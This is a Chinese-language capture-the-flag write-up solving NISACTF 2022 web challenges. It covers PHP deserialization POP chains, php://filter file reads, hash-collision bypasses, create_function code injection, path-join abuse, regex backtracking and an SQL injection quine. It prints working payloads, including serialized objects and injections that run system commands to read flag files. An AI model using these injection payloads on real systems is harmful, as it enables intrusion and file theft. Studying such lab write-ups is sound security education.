前言:
[NISACTF 2022]popchains
[NISACTF 2022]babyserialize
考点:
解题:
解法二:利用 php
总结:
[NISACTF 2022]easyssrf
[NISACTF 2022]level-up
level 1
level2
Level___3.php
level 4
level5
[NSSCTF 2022 Spring Recruit]ezgame
[NISACTF 2022]checkin
[NISACTF 2022]babyupload
[NISACTF 2022]middlerce
[NISACTF 2022]hardsql
[NISACTF 2022]popchains
-
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
-
__construst():具有构造函数的类在创建新对象的时候,回调此方法
-
__destruct():反序列化的时候,或者对象销毁的时候调用
-
__wakeup():反序列化的时候调用
-
__sleep():序列化的时候调用
-
__toString():把类当成字符串的时候调用,一般在echo处生效
-
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
-
__get():读取不可访问或者不存在的属性的时候,进行赋值
-
__call():在对象中调用一个不可访问的方法的时候,会被执行
进入环境:
直接是代码审计环节:
这里看到
Try_work_Hard 类中 有个文件包含,我们追加上去看看哪里调用了 append 函数。
这样就会触发 __invoke 方法. 那么我们继续追踪 哪里可以调用 __invoke。.
看到 Class MAKE_a_Change 类中:
把$func 对象当作了函数来调用。而定义的__get 该如何 调用呢?
__get 魔术方法 是当访问一个类中的属性不存在或者privte 的时候 会被调用。
在 Class Road_Is_Long 中:
那么再来看看 __toString 方法如何调用:
定义是 __toString(),类被当成字符串时触发。
找了半天,没找到哪里有echo ,只有这个地方有echo, 应该就是 正则匹配这个地方 ,如果$page 是一个对象,那么进入正则 $this->page 当做了字符串去匹配了。也就触发了 __toString
那应该就是 把payload 打进去 就自动触发 __toString 了吧 。
整理下思路:
__wakeup() -> 创建 page 为Road_is_Long 类本身 => __toString -> $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke() -> => append() => include($value); value=flag.php 。
好,构造。
直接传入就得到flag。
[NISACTF 2022]babyserialize
考点:
php反序列化pop链构造。
代码审计。
解题:
-
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
-
__construst():具有构造函数的类在创建新对象的时候,回调此方法
-
__destruct():反序列化的时候,或者对象销毁的时候调用
-
__wakeup():反序列化的时候调用
-
__sleep():序列化的时候调用
-
__toString():把类当成字符串的时候调用,一般在echo处生效
-
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
-
__get():读取不可访问或者不存在的属性的时候,进行赋值
-
__call():在对象中调用一个不可访问的方法的时候,会被执行
直接来吧:
如何调用__invoke :当尝试以调用函数的方式调用对象的时候,就会调用该方法
找一下哪个方法可以 把对象调用。
看到 Class Ilovetxw 中的 __toString 方法:
来看看如何调用 __toString .
__toString():把类当成字符串的时候调用,一般在echo处生效
这里有两个地方,一个地方是误区。 一个是NISA 类中的__toString
还有一个地方 Four 类中的set方法:
我想着 不会 用__toString 去调用 __toString 吧 。那我就不会构造了。。。
仔细看了一下,查了下php文档。
这里写的是将字符串转换为小写 可以调用__toString ,来到__set。
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
这里选择的是 class Ilovetxw 中的_class 方法。 利用 $this -> four类 -> fun = $arg[0] 就可以调用__clall 因为 这里正好 $fun是 private 属性。
看看__call方法如何调用:
__call():在对象中调用一个不可访问的方法的时候,会被执行
刚好,class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法
整理下 整体流程思路 :
__invoke => __toString => __set => __call => wakeUp.
exp :
<?php
传入发现:
system 改成 大写就可以了
O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A27%3A%22System%28%27tac+%2Ffllllllaaag%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D
解法二:利用 php
原生类类。
echo new GlobIterator(\”/f*\”);
读文件名 $N1->txw4ever = “echo new SplFileObject(\”php://filter/convert.base64-encode/resource=/fllllllaaag\”);”; 读文件
总结:
这题 不算复杂 但也足够了。
[NISACTF 2022]easyssrf
伪协议 访问 file :///flag
读取显示:
访问 ha1x1ux1u.php
伪协议一把梭:
?file=php://filter/read/convert.base64-encode/resource=/flag
[NISACTF 2022]level-up
进环境
level 1
扫目录 。访问 robots.txt
level2
level_2_1s_h3re.php
常见的 md5 强比较。 用hackbar 一直都是level2 failed 。用bp就行了
参考文章:浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_末初mochu7的博客-CSDN博客
Level___3.php
一把唆:
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
直接出 level_level_4.php
level 4
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM`
这里正好 + 没有被过滤
官方解:
http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever
读出:55_5_55.php
level5
create_function 注入:
?a=\create_function&b=}system('tac /flag');//
参考文章:
create_function()代码注入 – ctrl_TT豆 – 博客园 (cnblogs.com)
你终于回来了(。・∀・)ノ (cnblogs.com)
[NSSCTF 2022 Spring Recruit]ezgame
好难的游戏。。。
访问源码 ,点js 文件 ctrl +f 直接搜flag。
[NISACTF 2022]checkin
?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46
[NISACTF 2022]babyupload
下载 源代码文件:
漏洞位置:
os.path.join 会做一个绝对路径拼接。
比如:import os
输出:
从后往前看,会从第一个以”/”开头的参数开始拼接,之前的参数全部丢弃;
以上一种情况为先。在上一种情况确保情况下,若出现”./”开头的参数,会从”./”开头的参数的前面参数全部保留;
这里如果传入 /flag 他会把绝对路径拼接为 /uploads/flag 并且打印出来 。得到flag
[NISACTF 2022]middlerce
正则匹配过滤了 很多东西,异或 %a 都过滤了。那么就可以考虑正则最大回溯绕过
直接上payload 了:
直接得到flag。
[NISACTF 2022]hardsql
步骤: 只能是bilala用户。fuzz 一下。 like 没过滤 ,like模糊测试 爆密码:
进到下个环境:
重点在这一段
这就有点矛盾了 即要登录时 密码 = b2f2d15b3ae082ca29697d8dcd420fd7时才能登录,还要密码不 等于 b2f2d15b3ae082ca29697d8dcd420fd7才能输出flag 。觉得应该是要编码什么的?
官方解:
‘/**/union/**/select/**/replace(replace(‘”/**/union/**/select/**/replace(replace(“%”,0x22,0x27),0x25,”%”)#’,0x22,0x27),0x25,'”/**/union/**/select/**/replace(replace(“%”,0x22,0x27),0x25,”%”)#’)
此为官方的payload
题目中还过滤了char,用chr或者直接用 0x 直接代替。
最终的payload 为:
username=bilala&passwd=’/**/union/**/select/**/replace(replace(‘”/**/union/**/select/**/replace(replace(“%”,0x22,0x27),0x25,”%”)#’,0x22,0x27),0x25,'”/**/union/**/select/**/replace(replace(“%”,0x22,0x27),0x25,”%”)#’)#&login=%E7%99%BB%E5%BD%95